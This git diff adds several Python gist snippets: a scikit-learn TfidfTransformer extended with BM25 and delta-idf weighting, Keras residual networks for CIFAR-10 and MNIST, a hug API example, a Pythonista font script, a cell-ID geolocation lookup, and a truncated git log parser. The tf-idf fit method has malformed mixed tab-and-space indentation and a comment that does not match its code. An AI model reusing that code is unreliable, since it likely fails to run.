+    The actual formula used for tf-idf is tf * (idf + 1) = tf + tf * idf,
+    instead of tf * idf. The effect of this is that terms with zero idf, i.e.
+    that occur in all documents of a training set, will not be entirely
+    ignored. The formulas used to compute tf and idf depend on parameter
+    settings that correspond to the SMART notation used in IR, as follows:
+
+    Tf is "n" (natural) by default, "l" (logarithmic) when sublinear_tf=True.
+    Idf is "t" when use_idf is given, "n" (none) otherwise.
+    Normalization is "c" (cosine) when norm='l2', "n" (none) when norm=None.
+
+    Parameters
+    ----------
+    norm : 'l1', 'l2' or None, optional
+        Norm used to normalize term vectors. None for no normalization.
+
+    use_idf : boolean, optional
+        Enable inverse-document-frequency reweighting.
+
+    smooth_idf : boolean, optional
+        Smooth idf weights by adding one to document frequencies, as if an
+        extra document was seen containing every term in the collection
+        exactly once. Prevents zero divisions.
+
+    sublinear_tf : boolean, optional
+        Apply sublinear tf scaling, i.e. replace tf with 1 + log(tf).
+
+    References
+    ----------
+
+    .. [Yates2011] `R. Baeza-Yates and B. Ribeiro-Neto (2011). Modern
+                   Information Retrieval. Addison Wesley, pp. 68-74.`
+
+    .. [MRS2008] `C.D. Manning, P. Raghavan and H. Schuetze  (2008).
+                   Introduction to Information Retrieval. Cambridge University
+                   Press, pp. 118-120.`
+    """
+
+    def __init__(self, norm='l2', use_idf=True, use_bm25idf=False, smooth_idf=True,
+                 delta_idf=False, sublinear_tf=False, bm25_tf=False):
+        self.norm = norm
+        self.use_idf = use_idf
+        self.use_bm25idf = use_bm25idf
+        self.smooth_idf = smooth_idf
+        # Required for delta idf's
+        self.delta_idf = delta_idf
+
+        self.sublinear_tf = sublinear_tf
+        self.bm25_tf = bm25_tf
+        self.k = 1.2
+        self.b = 0.95
+
+    def fit(self, X, y=None):
+        """Learn the idf vector (global term weights)
+
+        Parameters
+        ----------
+        X : sparse matrix, [n_samples, n_features]
+            a matrix of term/token counts
+        """
+        if not sp.issparse(X):
+            X = sp.csc_matrix(X)
+
+        if self.use_idf:
+            n_samples, n_features = X.shape
+
+            # BM25 idf
+            if self.use_bm25idf:            
+            	if self.delta_idf:
+                	if y is None:
+                		raise ValueError("Labels are needed to determine Delta idf")
+
+	                N1, df1, N2, df2 = _class_frequencies(X, y)
+	                delta_bm25idf = np.log(((N1 - df1 + 0.5) * df2 + 0.5) / ((N2 - df2 + 0.5) * df1 + 0.5))
+	                self._idf_diag = sp.spdiags(delta_bm25idf,
+                                            diags=0, m=n_features, n=n_features)
+            	else:
+					# vanilla bm25 idf
+                	df = _document_frequency(X)
+
+	                # perform idf smoothing if required
+	                df += int(self.smooth_idf)
+	                n_samples += int(self.smooth_idf)
+
+	                # log1p instead of log makes sure terms with zero idf don't get
+	                # suppressed entirely
+
+	                bm25idf = np.log((n_samples - df + 0.5) / (df + 0.5))
+	                self._idf_diag = sp.spdiags(bm25idf,
+	                                            diags=0, m=n_features, n=n_features)
+
+	        # Vanilla idf
+            elif self.delta_idf:
+                if y is None:
+                    raise ValueError("Labels are needed to determine Delta idf")
+
+                N1, df1, N2, df2 = _class_frequencies(X, y)
+                delta_idf = np.log((df1 * float(N2) + int(self.smooth_idf)) /
+                                   (df2 * N1 + int(self.smooth_idf)))
+
+		        # Maybe scale delta_idf to only positive values (for Naive Bayes, etc) ?
+                self._idf_diag = sp.spdiags(delta_idf,
+                                            diags=0, m=n_features, n=n_features)
+
+            else:
+                df = _document_frequency(X)
+
+                # perform idf smoothing if required
+                df += int(self.smooth_idf)
+                n_samples += int(self.smooth_idf)
+
+                # log1p instead of log makes sure terms with zero idf don't get
+                # suppressed entirely
+                idf = np.log(float(n_samples) / df) + 1.0
+                self._idf_diag = sp.spdiags(idf,
+                                            diags=0, m=n_features, n=n_features)
+       
+
+    	return self
+
+    def transform(self, X, copy=True):
+        """Transform a count matrix to a tf or tf-idf representation
+
+        Parameters
+        ----------
+        X : sparse matrix, [n_samples, n_features]
+            a matrix of term/token counts
+
+        Returns
+        -------
+        vectors : sparse matrix, [n_samples, n_features]
+        """
+        if hasattr(X, 'dtype') and np.issubdtype(X.dtype, np.float):
+            # preserve float family dtype
+            X = sp.csr_matrix(X, copy=copy)
+        else:
+            # convert counts or binary occurrences to floats
+            X = sp.csr_matrix(X, dtype=np.float64, copy=copy)
+
+        n_samples, n_features = X.shape
+
+        if self.bm25_tf:
+
+            # First calculate the denominator of BM25 equation
+            # Sum the frequencies (sum of each row) to get the documents lengths
+            D = (X.sum(1) / np.average(X.sum(1))).reshape((n_samples, 1))
+            D = ((1 - self.b) + self.b * D) * self.k
+            # D = sp.csr_matrix(np.multiply(np.ones((n_samples,n_features)),D))
+            D_X =  _add_sparse_column(X,D)
+            
+            # Then perform the main division
+            # ...Find a better way to add a numpy ndarray to a sparse matrix
+            np.divide(X.data * (self.k + 1), D_X.data, X.data)
+            # np.divide(X.data * (self.k + 1), sp.csr_matrix(np.add(X.todense(), D)).data, X.data)
+
+        elif self.sublinear_tf:
+            np.log(X.data, X.data)
+            X.data += 1
+
+        if self.use_idf:
+            if not hasattr(self, "_idf_diag"):
+                raise ValueError("idf vector not fitted")
+            expected_n_features = self._idf_diag.shape[0]
+            if n_features != expected_n_features:
+                raise ValueError("Input has n_features=%d while the model"
+                                 " has been trained with n_features=%d" % (
+                                     n_features, expected_n_features))
+            # *= doesn't work
+            X = X * self._idf_diag
+
+        if self.norm:
+            X = normalize(X, norm=self.norm, copy=False)
+
+        return X
+
+    @property
+    def idf_(self):
+        if hasattr(self, "_idf_diag"):
+            return np.ravel(self._idf_diag.sum(axis=0))
+        else:
+            return None
+
+
+class TfidfVectorizer(CountVectorizer):
+    """Convert a collection of raw documents to a matrix of TF-IDF features.
+
+    Equivalent to CountVectorizer followed by TfidfTransformer.
+
+    Parameters
+    ----------
+    input : string {'filename', 'file', 'content'}
+        If 'filename', the sequence passed as an argument to fit is
+        expected to be a list of filenames that need reading to fetch
+        the raw content to analyze.
+
+        If 'file', the sequence items must have a 'read' method (file-like
+        object) that is called to fetch the bytes in memory.
+
+        Otherwise the input is expected to be the sequence strings or
+        bytes items are expected to be analyzed directly.
+
+    encoding : string, 'utf-8' by default.
+        If bytes or files are given to analyze, this encoding is used to
+        decode.
+
+    decode_error : {'strict', 'ignore', 'replace'}
+        Instruction on what to do if a byte sequence is given to analyze that
+        contains characters not of the given `encoding`. By default, it is
+        'strict', meaning that a UnicodeDecodeError will be raised. Other
+        values are 'ignore' and 'replace'.
+
+    strip_accents : {'ascii', 'unicode', None}
+        Remove accents during the preprocessing step.
+        'ascii' is a fast method that only works on characters that have
+        an direct ASCII mapping.
+        'unicode' is a slightly slower method that works on any characters.
+        None (default) does nothing.
+
+    analyzer : string, {'word', 'char'} or callable
+        Whether the feature should be made of word or character n-grams.
+
+        If a callable is passed it is used to extract the sequence of features
+        out of the raw, unprocessed input.
+
+    preprocessor : callable or None (default)
+        Override the preprocessing (string transformation) stage while
+        preserving the tokenizing and n-grams generation steps.
+
+    tokenizer : callable or None (default)
+        Override the string tokenization step while preserving the
+        preprocessing and n-grams generation steps.
+
+    ngram_range : tuple (min_n, max_n)
+        The lower and upper boundary of the range of n-values for different
+        n-grams to be extracted. All values of n such that min_n <= n <= max_n
+        will be used.
+
+    stop_words : string {'english'}, list, or None (default)
+        If a string, it is passed to _check_stop_list and the appropriate stop
+        list is returned. 'english' is currently the only supported string
+        value.
+
+        If a list, that list is assumed to contain stop words, all of which
+        will be removed from the resulting tokens.
+
+        If None, no stop words will be used. max_df can be set to a value
+        in the range [0.7, 1.0) to automatically detect and filter stop
+        words based on intra corpus document frequency of terms.
+
+    lowercase : boolean, default True
+        Convert all characters to lowercase before tokenizing.
+
+    token_pattern : string
+        Regular expression denoting what constitutes a "token", only used
+        if `analyzer == 'word'`. The default regexp selects tokens of 2
+        or more alphanumeric characters (punctuation is completely ignored
+        and always treated as a token separator).
+
+    max_df : float in range [0.0, 1.0] or int, optional, 1.0 by default
+        When building the vocabulary ignore terms that have a term frequency
+        strictly higher than the given threshold (corpus specific stop words).
+        If float, the parameter represents a proportion of documents, integer
+        absolute counts.
+        This parameter is ignored if vocabulary is not None.
+
+    min_df : float in range [0.0, 1.0] or int, optional, 1 by default
+        When building the vocabulary ignore terms that have a term frequency
+        strictly lower than the given threshold.
+        This value is also called cut-off in the literature.
+        If float, the parameter represents a proportion of documents, integer
+        absolute counts.
+        This parameter is ignored if vocabulary is not None.
+
+    max_features : optional, None by default
+        If not None, build a vocabulary that only consider the top
+        max_features ordered by term frequency across the corpus.
+
+        This parameter is ignored if vocabulary is not None.
+
+    vocabulary : Mapping or iterable, optional
+        Either a Mapping (e.g., a dict) where keys are terms and values are
+        indices in the feature matrix, or an iterable over terms. If not
+        given, a vocabulary is determined from the input documents.
+
+    binary : boolean, False by default.
+        If True, all non-zero term counts are set to 1. This does not mean
+        outputs will have only 0/1 values, only that the tf term in tf-idf
+        is binary. (Set idf and normalization to False to get 0/1 outputs.)
+
+    dtype : type, optional
+        Type of the matrix returned by fit_transform() or transform().
+
+    norm : 'l1', 'l2' or None, optional
+        Norm used to normalize term vectors. None for no normalization.
+
+    use_idf : boolean, optional
+        Enable inverse-document-frequency reweighting.
+
+    smooth_idf : boolean, optional
+        Smooth idf weights by adding one to document frequencies, as if an
+        extra document was seen containing every term in the collection
+        exactly once. Prevents zero divisions.
+
+    sublinear_tf : boolean, optional
+        Apply sublinear tf scaling, i.e. replace tf with 1 + log(tf).
+
+    Attributes
+    ----------
+    idf_ : array, shape = [n_features], or None
+        The learned idf vector (global term weights)
+        when ``use_idf`` is set to True, None otherwise.
+
+    See also
+    --------
+    CountVectorizer
+        Tokenize the documents and count the occurrences of token and return
+        them as a sparse matrix
+
+    TfidfTransformer
+        Apply Term Frequency Inverse Document Frequency normalization to a
+        sparse matrix of occurrence counts.
+
+    """
+
+    def __init__(self, input='content', encoding='utf-8',
+                 decode_error='strict', strip_accents=None, lowercase=True,
+                 preprocessor=None, tokenizer=None, analyzer='word',
+                 stop_words=None, token_pattern=r"(?u)\b\w\w+\b",
+                 ngram_range=(1, 1), max_df=1.0, min_df=1,
+                 max_features=None, vocabulary=None, binary=False,
+                 dtype=np.int64, norm='l2', use_idf=True, use_bm25idf = False,
+                 smooth_idf=True, delta_idf=False, sublinear_tf=False, bm25_tf=False):
+        super(TfidfVectorizer, self).__init__(
+            input=input, encoding=encoding, decode_error=decode_error,
+            strip_accents=strip_accents, lowercase=lowercase,
+            preprocessor=preprocessor, tokenizer=tokenizer, analyzer=analyzer,
+            stop_words=stop_words, token_pattern=token_pattern,
+            ngram_range=ngram_range, max_df=max_df, min_df=min_df,
+            max_features=max_features, vocabulary=vocabulary, binary=binary,
+            dtype=dtype)
+
+        self._tfidf = TfidfTransformer(norm=norm, use_idf=use_idf,
+                                       use_bm25idf=use_bm25idf,
+                                       smooth_idf=smooth_idf,
+                                       delta_idf=delta_idf,
+                                       sublinear_tf=sublinear_tf,
+                                       bm25_tf=bm25_tf)
+
+    # Broadcast the TF-IDF parameters to the underlying transformer instance
+    # for easy grid search and repr
+
+    @property
+    def norm(self):
+        return self._tfidf.norm
+
+    @norm.setter
+    def norm(self, value):
+        self._tfidf.norm = value
+
+    @property
+    def use_idf(self):
+        return self._tfidf.use_idf
+
+    @use_idf.setter
+    def use_idf(self, value):
+        self._tfidf.use_idf = value
+
+    @property
+    def smooth_idf(self):
+        return self._tfidf.smooth_idf
+
+    @smooth_idf.setter
+    def smooth_idf(self, value):
+        self._tfidf.smooth_idf = value
+
+    @property
+    def sublinear_tf(self):
+        return self._tfidf.sublinear_tf
+
+    @sublinear_tf.setter
+    def sublinear_tf(self, value):
+        self._tfidf.sublinear_tf = value
+
+    @property
+    def idf_(self):
+        return self._tfidf.idf_
+
+    def fit(self, raw_documents, y=None):
+        """Learn vocabulary and idf from training set.
+
+        Parameters
+        ----------
+        raw_documents : iterable
+            an iterable which yields either str, unicode or file objects
+
+        Returns
+        -------
+        self : TfidfVectorizer
+        """
+        X = super(TfidfVectorizer, self).fit_transform(raw_documents)
+        self._tfidf.fit(X)
+        return self
+
+    def fit_transform(self, raw_documents, y=None):
+        """Learn vocabulary and idf, return term-document matrix.
+
+        This is equivalent to fit followed by transform, but more efficiently
+        implemented.
+
+        Parameters
+        ----------
+        raw_documents : iterable
+            an iterable which yields either str, unicode or file objects
+
+        Returns
+        -------
+        X : sparse matrix, [n_samples, n_features]
+            Tf-idf-weighted document-term matrix.
+        """
+        X = super(TfidfVectorizer, self).fit_transform(raw_documents)
+        self._tfidf.fit(X,y)
+        # X is already a transformed view of raw_documents so
+        # we set copy to False
+        return self._tfidf.transform(X, copy=False)
+
+    def transform(self, raw_documents, copy=True):
+        """Transform documents to document-term matrix.
+
+        Uses the vocabulary and document frequencies (df) learned by fit (or
+        fit_transform).
+
+        Parameters
+        ----------
+        raw_documents : iterable
+            an iterable which yields either str, unicode or file objects
+
+        Returns
+        -------
+        X : sparse matrix, [n_samples, n_features]
+            Tf-idf-weighted document-term matrix.
+        """
+        X = super(TfidfVectorizer, self).transform(raw_documents)
+        return self._tfidf.transform(X, copy=False)
+
diff --git a/hard-gists/0ba0270279a0f38280423754cea2ee1e/._snippet.py b/hard-gists/0ba0270279a0f38280423754cea2ee1e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0ba0270279a0f38280423754cea2ee1e/._snippet.py differ
diff --git a/hard-gists/0ba0270279a0f38280423754cea2ee1e/snippet.py b/hard-gists/0ba0270279a0f38280423754cea2ee1e/snippet.py
new file mode 100644
index 00000000..3ab34f51
--- /dev/null
+++ b/hard-gists/0ba0270279a0f38280423754cea2ee1e/snippet.py
@@ -0,0 +1,150 @@
+from __future__ import print_function
+
+from keras.datasets import cifar10
+from keras.layers import merge, Input
+from keras.layers.convolutional import Convolution2D, ZeroPadding2D, AveragePooling2D
+from keras.layers.core import Dense, Activation, Flatten, Dropout
+from keras.layers.normalization import BatchNormalization
+from keras.models import Model
+from keras.preprocessing.image import ImageDataGenerator
+from keras.utils import np_utils
+
+batch_size = 128
+nb_classes = 10
+nb_epoch = 200
+data_augmentation = False
+n = 4  # depth = 6*n + 4
+k = 4  # widen factor
+
+# the CIFAR10 images are 32x32 RGB with 10 labels
+img_rows, img_cols = 32, 32
+img_channels = 3
+
+
+def bottleneck(incoming, count, nb_in_filters, nb_out_filters, dropout=None, subsample=(2, 2)):
+    outgoing = wide_basic(incoming, nb_in_filters, nb_out_filters, dropout, subsample)
+    for i in range(1, count):
+        outgoing = wide_basic(outgoing, nb_out_filters, nb_out_filters, dropout, subsample=(1, 1))
+
+    return outgoing
+
+
+def wide_basic(incoming, nb_in_filters, nb_out_filters, dropout=None, subsample=(2, 2)):
+    nb_bottleneck_filter = nb_out_filters
+
+    if nb_in_filters == nb_out_filters:
+        # conv3x3
+        y = BatchNormalization(mode=0, axis=1)(incoming)
+        y = Activation('relu')(y)
+        y = ZeroPadding2D((1, 1))(y)
+        y = Convolution2D(nb_bottleneck_filter, nb_row=3, nb_col=3,
+                          subsample=subsample, init='he_normal', border_mode='valid')(y)
+
+        # conv3x3
+        y = BatchNormalization(mode=0, axis=1)(y)
+        y = Activation('relu')(y)
+        if dropout is not None:
+            y = Dropout(dropout)(y)
+        y = ZeroPadding2D((1, 1))(y)
+        y = Convolution2D(nb_bottleneck_filter, nb_row=3, nb_col=3,
+                          subsample=(1, 1), init='he_normal', border_mode='valid')(y)
+
+        return merge([incoming, y], mode='sum')
+
+    else:  # Residual Units for increasing dimensions
+        # common BN, ReLU
+        shortcut = BatchNormalization(mode=0, axis=1)(incoming)
+        shortcut = Activation('relu')(shortcut)
+
+        # conv3x3
+        y = ZeroPadding2D((1, 1))(shortcut)
+        y = Convolution2D(nb_bottleneck_filter, nb_row=3, nb_col=3,
+                          subsample=subsample, init='he_normal', border_mode='valid')(y)
+
+        # conv3x3
+        y = BatchNormalization(mode=0, axis=1)(y)
+        y = Activation('relu')(y)
+        if dropout is not None:
+            y = Dropout(dropout)(y)
+        y = ZeroPadding2D((1, 1))(y)
+        y = Convolution2D(nb_out_filters, nb_row=3, nb_col=3,
+                          subsample=(1, 1), init='he_normal', border_mode='valid')(y)
+
+        # shortcut
+        shortcut = Convolution2D(nb_out_filters, nb_row=1, nb_col=1,
+                                 subsample=subsample, init='he_normal', border_mode='same')(shortcut)
+
+        return merge([shortcut, y], mode='sum')
+
+
+# the data, shuffled and split between train and test sets
+(X_train, y_train), (X_test, y_test) = cifar10.load_data()
+print('X_train shape:', X_train.shape)
+print(X_train.shape[0], 'train samples')
+print(X_test.shape[0], 'test samples')
+
+# convert class vectors to binary class matrices
+Y_train = np_utils.to_categorical(y_train, nb_classes)
+Y_test = np_utils.to_categorical(y_test, nb_classes)
+
+img_input = Input(shape=(img_channels, img_rows, img_cols))
+
+# one conv at the beginning (spatial size: 32x32)
+x = ZeroPadding2D((1, 1))(img_input)
+x = Convolution2D(16, nb_row=3, nb_col=3)(x)
+
+# Stage 1 (spatial size: 32x32)
+x = bottleneck(x, n, 16, 16 * k, dropout=0.3, subsample=(1, 1))
+# Stage 2 (spatial size: 16x16)
+x = bottleneck(x, n, 16 * k, 32 * k, dropout=0.3, subsample=(2, 2))
+# Stage 3 (spatial size: 8x8)
+x = bottleneck(x, n, 32 * k, 64 * k, dropout=0.3, subsample=(2, 2))
+
+x = BatchNormalization(mode=0, axis=1)(x)
+x = Activation('relu')(x)
+x = AveragePooling2D((8, 8), strides=(1, 1))(x)
+x = Flatten()(x)
+preds = Dense(nb_classes, activation='softmax')(x)
+
+model = Model(input=img_input, output=preds)
+model.compile(optimizer='adam', loss='categorical_crossentropy',
+              metrics=['accuracy'])
+
+X_train = X_train.astype('float32')
+X_test = X_test.astype('float32')
+X_train /= 255
+X_test /= 255
+
+if not data_augmentation:
+    print('Not using data augmentation.')
+    model.fit(X_train, Y_train,
+              batch_size=batch_size,
+              nb_epoch=nb_epoch,
+              validation_data=(X_test, Y_test),
+              shuffle=True)
+else:
+    print('Using real-time data augmentation.')
+
+    # this will do preprocessing and realtime data augmentation
+    datagen = ImageDataGenerator(
+        featurewise_center=False,  # set input mean to 0 over the dataset
+        samplewise_center=False,  # set each sample mean to 0
+        featurewise_std_normalization=False,  # divide inputs by std of the dataset
+        samplewise_std_normalization=False,  # divide each input by its std
+        zca_whitening=False,  # apply ZCA whitening
+        rotation_range=0,  # randomly rotate images in the range (degrees, 0 to 180)
+        width_shift_range=0.1,  # randomly shift images horizontally (fraction of total width)
+        height_shift_range=0.1,  # randomly shift images vertically (fraction of total height)
+        horizontal_flip=True,  # randomly flip images
+        vertical_flip=False)  # randomly flip images
+
+    # compute quantities required for featurewise normalization
+    # (std, mean, and principal components if ZCA whitening is applied)
+    datagen.fit(X_train)
+
+    # fit the model on the batches generated by datagen.flow()
+    model.fit_generator(datagen.flow(X_train, Y_train,
+                                     batch_size=batch_size),
+                        samples_per_epoch=X_train.shape[0],
+                        nb_epoch=nb_epoch,
+                        validation_data=(X_test, Y_test))
diff --git a/hard-gists/0bc7d313e7a84b708374/._snippet.py b/hard-gists/0bc7d313e7a84b708374/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0bc7d313e7a84b708374/._snippet.py differ
diff --git a/hard-gists/0bc7d313e7a84b708374/snippet.py b/hard-gists/0bc7d313e7a84b708374/snippet.py
new file mode 100644
index 00000000..072fb5c6
--- /dev/null
+++ b/hard-gists/0bc7d313e7a84b708374/snippet.py
@@ -0,0 +1,18 @@
+
+"""A simple example of a hug API call with versioning"""
+import hug
+
+
+@hug.get('/echo', versions=1)
+def echo(text):
+    return text
+
+
+@hug.get('/echo', versions=range(2, 5))
+def echo(text):
+    return 'Echo: {text}'.format(**locals())
+
+
+@hug.get('/unversioned')
+def hello():
+    return 'Hello world!'
\ No newline at end of file
diff --git a/hard-gists/0bdd7059a08cbcd00898/._snippet.py b/hard-gists/0bdd7059a08cbcd00898/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0bdd7059a08cbcd00898/._snippet.py differ
diff --git a/hard-gists/0bdd7059a08cbcd00898/snippet.py b/hard-gists/0bdd7059a08cbcd00898/snippet.py
new file mode 100644
index 00000000..6a2f0ecc
--- /dev/null
+++ b/hard-gists/0bdd7059a08cbcd00898/snippet.py
@@ -0,0 +1,91 @@
+"""
+Possibly correct implementation of an all conv neural network using a single residual module
+
+This code was written for instruction purposes and no attempt to get the best results were made.
+
+References:
+Deep Residual Learning for Image Recognition: http://arxiv.org/pdf/1512.03385v1.pdf
+STRIVING FOR SIMPLICITY, THE ALL CONVOLUTIONAL NET: http://arxiv.org/pdf/1412.6806v3.pdf
+
+A video walking through the code and main ideas: https://youtu.be/-N_zlfKo4Ec
+"""
+
+from __future__ import print_function
+import numpy as np
+np.random.seed(1337)  # for reproducibility
+
+from keras.datasets import mnist
+from keras.models import Graph
+from keras.layers.core import Dense, Dropout, Activation, Flatten
+from keras.layers.convolutional import Convolution2D, AveragePooling2D
+from keras.utils import np_utils
+
+batch_size = 128
+nb_classes = 10
+nb_epoch = 12
+
+# input image dimensions
+img_rows, img_cols = 28, 28
+# number of convolutional filters to use
+nb_filters = 64
+# size of pooling area for max pooling
+nb_pool = 2
+# convolution kernel size
+nb_conv = 3
+
+# the data, shuffled and split between train and test sets
+(X_train, y_train), (X_test, y_test) = mnist.load_data()
+
+X_train = X_train.reshape(X_train.shape[0], 1, img_rows, img_cols)
+X_test = X_test.reshape(X_test.shape[0], 1, img_rows, img_cols)
+X_train = X_train.astype('float32')
+X_test = X_test.astype('float32')
+X_train /= 255
+X_test /= 255
+print('X_train shape:', X_train.shape)
+print(X_train.shape[0], 'train samples')
+print(X_test.shape[0], 'test samples')
+
+# convert class vectors to binary class matrices
+Y_train = np_utils.to_categorical(y_train, nb_classes)
+Y_test = np_utils.to_categorical(y_test, nb_classes)
+
+####################################################
+# Define Model
+####################################################
+model = Graph()
+
+model.add_input(input_shape=(1, 28, 28), name="0")
+
+# first piece
+model.add_node(Convolution2D(
+        nb_filters, nb_conv, nb_conv, input_shape=(1, img_rows, img_cols), activation="relu"), name="1", input="0")
+model.add_node(Convolution2D(
+        nb_filters, nb_conv, nb_conv, activation="relu"), name="2", input="1")
+model.add_node(Convolution2D(
+        nb_filters, nb_conv, nb_conv, subsample=(2, 2), activation="relu"), name="X", input="2")
+        
+model.compile(loss={"out": 'categorical_crossentropy'}, optimizer='adam')
+model.fit({"0": X_train, "out": Y_train}, nb_epoch=5, show_accuracy=True)
+
+# residual module
+# batch_norm
+model.add_node(Convolution2D(nb_filters, nb_conv, nb_conv,
+                             activation="relu", border_mode="same"), name="r1", input="X")
+# batch_norm
+model.add_node(Convolution2D(nb_filters, nb_conv, nb_conv,
+                             activation="relu", border_mode="same"), name="r2", input="r1")
+
+# add layer_3 + residual_module
+model.add_node(Convolution2D(
+        nb_filters, nb_conv, nb_conv, subsample=(2, 2), activation="relu"),
+        name="3", inputs=["X", "r2"], merge_mode="sum")
+
+# classifier
+model.add_node(Convolution2D(10, nb_conv, nb_conv, activation="linear"), name="4", input="3")
+
+out_size = model.nodes["4"].output_shape[-1]  # thanks shape inference
+model.add_node(AveragePooling2D((out_size, out_size)),
+               name="pool", input="4")
+model.add_node(Flatten(), name="flat", input="pool")
+model.add_node(Activation("softmax"), name="out", input="flat", create_output=True)
\ No newline at end of file
diff --git a/hard-gists/0c01b7a27e512db480847fac2cc54103/._snippet.py b/hard-gists/0c01b7a27e512db480847fac2cc54103/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0c01b7a27e512db480847fac2cc54103/._snippet.py differ
diff --git a/hard-gists/0c01b7a27e512db480847fac2cc54103/snippet.py b/hard-gists/0c01b7a27e512db480847fac2cc54103/snippet.py
new file mode 100644
index 00000000..920c5587
--- /dev/null
+++ b/hard-gists/0c01b7a27e512db480847fac2cc54103/snippet.py
@@ -0,0 +1,57 @@
+"""
+Use custom fonts in the editor
+
+Usage: https://forum.omz-software.com/topic/3419/share-code-custom-editor-font
+"""
+
+__author__ = "Lukas Kollmer<lukas.kollmer@gmail.com>"
+__copyright__ = "Copyright (c) 2016 Lukas Kollmer<lukas.kollmer@gmail.com>"
+
+from objc_util import *
+from ctypes import *
+
+
+CTFontManagerRegisterFontsForURL = c.CTFontManagerRegisterFontsForURL
+CTFontManagerRegisterFontsForURL.argtypes = [c_void_p, c_int, c_void_p]
+CTFontManagerRegisterFontsForURL.restype = c_bool
+
+CFURLCreateWithString = c.CFURLCreateWithString
+CFURLCreateWithString.argtypes = [c_void_p, c_void_p, c_void_p]
+CFURLCreateWithString.restype = c_void_p
+
+
+
+def load_custom_font(file):
+	#https://marco.org/2012/12/21/ios-dynamic-font-loading
+	font_url = CFURLCreateWithString(None, ns(file), None)
+	
+	error = c_void_p(None)
+	# This returns false, but still succeds
+	CTFontManagerRegisterFontsForURL(ObjCInstance(font_url), 0, byref(error))
+
+def set_editor_font(name, size=15):
+	"""
+	NOTE: This still requires a restart
+	"""
+	defaults = ObjCClass("NSUserDefaults").standardUserDefaults()
+	defaults.setObject_forKey_(name, "EditorFontName")
+	defaults.setObject_forKey_(size, "EditorFontSize")
+	
+	defaults.synchronize()
+	
+def reset_custom_font():
+	defaults = ObjCClass("NSUserDefaults").standardUserDefaults()
+	defaults.setObject_forKey_("Menlo-Regular", "EditorFontName")
+	defaults.setObject_forKey_(15, "EditorFontSize")
+	
+
+if __name__ == "__main__":
+	import os
+	font_path = "file://" + os.path.expanduser("~/Documents/Fonts/SFMono/SFMono-Regular.otf")
+	
+	load_custom_font(font_path)
+	
+	font_name = "Menlo-Regular"
+	set_editor_font(font_name, 15)
+	
+	
\ No newline at end of file
diff --git a/hard-gists/0c10e910e514832b7103/._snippet.py b/hard-gists/0c10e910e514832b7103/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0c10e910e514832b7103/._snippet.py differ
diff --git a/hard-gists/0c10e910e514832b7103/snippet.py b/hard-gists/0c10e910e514832b7103/snippet.py
new file mode 100644
index 00000000..8d8bc234
--- /dev/null
+++ b/hard-gists/0c10e910e514832b7103/snippet.py
@@ -0,0 +1,48 @@
+#Begin
+#!/usr/local/bin/python
+
+#import httplib
+import urllib
+from google.appengine.api import urlfetch
+
+from struct import *
+
+def cellid_2_pos(cellid, lac, mnc = 0, mcc = 0):
+	pd = chr(0)+chr(0x15) # Function Code?
+	pd += chr(0)+chr(0)+chr(0)+chr(0)+chr(0)+chr(0)+chr(0)+chr(0) #Session ID?
+	pd += chr(0)+chr(0x02)+chr(0x62)+chr(0x72) # Contry Code
+	pd += chr(0)+chr(0x12)+chr(0x53)+chr(0x6f)+chr(0x6e) # User Agent
+	pd += chr(0x79)+chr(0x5f)+chr(0x45)+chr(0x72)+chr(0x69) # User Agent
+	pd += chr(0x63)+chr(0x73)+chr(0x73)+chr(0x6f)+chr(0x6e) # User Agent
+	pd += chr(0x2d)+chr(0x4b)+chr(0x37)+chr(0x35)+chr(0x30) # User Agent
+	pd += chr(0)+chr(0x05)+chr(0x31)+chr(0x2e)+chr(0x33)+chr(0x2e)+chr(0x31) # version
+	pd += chr(0)+chr(0x03)+chr(0x57)+chr(0x65)+chr(0x62) # "Web"
+	pd += chr(0x1b) # Op Code?
+	pd += chr((mnc >> 24) & 0xFF) + chr((mnc >> 16) & 0xFF) + chr((mnc >> 8) & 0xFF) + chr(mnc & 0xFF) # MNC
+	pd += chr((mcc >> 24) & 0xFF) + chr((mcc >> 16) & 0xFF) + chr((mcc >> 8) & 0xFF) + chr(mcc & 0xFF) # MCC
+	pd += chr(0)+chr(0)+chr(0)+chr(0x03) # ??
+	pd += chr(0)+chr(0) # ??
+	pd += chr((cellid >> 24) & 0xFF) + chr((cellid >> 16) & 0xFF) + chr((cellid >> 8) & 0xFF) + chr(cellid & 0xFF) # CID - replace 0x00 with the hex value from CID
+	pd += chr((lac    >> 24) & 0xFF) + chr((lac    >> 16) & 0xFF) + chr((lac    >> 8) & 0xFF) + chr(lac    & 0xFF) # LAC - replace 0x00 with the hex value from LAC
+	pd += chr(0)+chr(0)+chr(0)+chr(0) # ??
+	pd += chr(0)+chr(0)+chr(0)+chr(0) # ??
+	pd += chr(0)+chr(0)+chr(0)+chr(0) # ??
+	pd += chr(0)+chr(0)+chr(0)+chr(0) # ??
+	
+	headers = {"Content-type": "application/binary"}
+	
+	
+	response = urlfetch.fetch("http://www.google.com/glm/mmap",
+                        	pd,
+                        	urlfetch.POST,
+                        	headers)
+	
+	data = response.content
+	if response.status_code != 200:
+		return False
+	
+	lat = unpack('>l',data[7:11])[0]/1000000.0
+	lon = unpack('>l',data[11:15])[0]/1000000.0
+	return [lat, lon]
+# End Python 2.5
+
diff --git a/hard-gists/0c7ccae5d764ff61788fc626096e5688/._snippet.py b/hard-gists/0c7ccae5d764ff61788fc626096e5688/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0c7ccae5d764ff61788fc626096e5688/._snippet.py differ
diff --git a/hard-gists/0c7ccae5d764ff61788fc626096e5688/snippet.py b/hard-gists/0c7ccae5d764ff61788fc626096e5688/snippet.py
new file mode 100644
index 00000000..d8296125
--- /dev/null
+++ b/hard-gists/0c7ccae5d764ff61788fc626096e5688/snippet.py
@@ -0,0 +1,50 @@
+#!/usr/bin/env python
+
+import git
+import json
+import sqlite3
+import re
+import os
+import os.path
+
+def log(repo):
+    repo = git.Repo(repo)
+    log = repo.git.log().split("\ncommit ")
+    commits = []
+    for line in log:
+        match = re.search(r"([^\n]+)\nAuthor:\s+([^\n]+)\nDate:\s+([^\n]+)\n\n\s+(.*)\n", line, re.DOTALL)
+        if match:
